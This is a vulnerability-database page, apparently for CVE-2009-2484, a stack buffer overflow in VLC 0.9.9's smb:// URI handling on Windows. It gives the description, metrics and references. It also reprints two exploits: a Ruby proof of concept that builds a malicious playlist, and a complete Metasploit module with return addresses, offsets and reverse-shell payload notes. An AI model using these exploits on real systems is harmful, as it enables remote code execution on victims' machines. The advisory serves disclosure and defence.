CVE-2009-2484 : Detail

CVE-2009-2484

Overflow
96.5%V3
Network
2009-07-16 14:00 +00:00
2017-09-18 10:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

Stack-based buffer overflow in the Win32AddConnection function in modules/access/smb.c in VideoLAN VLC media player 0.9.9, when running on Microsoft Windows, allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a long smb URI in a playlist file.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9029

Publication date : 2009-06-28 22:00 +00:00
Author : Trancer
EDB Verified : Yes

#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q| Playlist smb://foo.com@www.foo.com/foo/#{b00m} 0 | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close # milw0rm.com [2009-06-29]
Exploit Database EDB-ID : 16678

Publication date : 2010-09-19 22:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: vlc_smb_uri.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'BID', '35500' ], [ 'OSVDB', '55509' ], [ 'CVE', '2009-2484' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ], [ 'URL', 'http://milw0rm.com/exploits/9209' ], [ 'URL', 'http://www.exploit-db.com/exploits/9029' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'Platform' => 'win', 'Targets' => [ [ 'vlc 0.9.9 on Windows XP SP3', # shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec} { 'Readable' => 0x65414141, # points to nul bytes in libmod_plugin 'Offset' => 409, # libvout_directx_plugin.dll # add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret # esi is used as our buffer register, and also becomes eip # (there are two copies of the pointer on the stack) 'Ret' => 0x6b54543e, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 24 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']), ], self.class) end def exploit template = %Q| Playlist REPLACE_ME 0 | readable = [target['Readable']].pack('V') # we'll model the memory layout post-overflow.. #psz_remote = Rex::Text.pattern_create(2+260+1+260) psz_remote = rand_text_alphanumeric(target['Offset'] + 4) psz_remote[0,2] = "\\\\" psz_remote[2+260,1] = "\\" # some of this causes crashes in "WNetAddConnection2A" so we need to use # readable addresses... dodging the crashy derefs! # NOTE: some of these only occur in odd open scenarios (like drag/drop) psz_remote[263,4] = readable psz_remote[271,4] = readable psz_remote[325,4] = readable psz_remote[337,4] = readable # add the return addr in psz_remote[target['Offset'],4] = [target.ret].pack('V') # now we can split it and put it in the xml... host,share = psz_remote[2,psz_remote.length].split("\\") path = "smb://%s@%s/%s/" % [payload.encoded, host, share] sploit = template.gsub(/REPLACE_ME/, path) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end

Products Mentioned

Configuraton 0

Videolan>>Vlc_media_player >> Version 0.9.9

Microsoft>>Windows >> Version *

References

http://www.vupen.com/english/advisories/2009/1714
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/9029
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/35558
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/35500
Tags : vdb-entry, x_refsource_BID
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.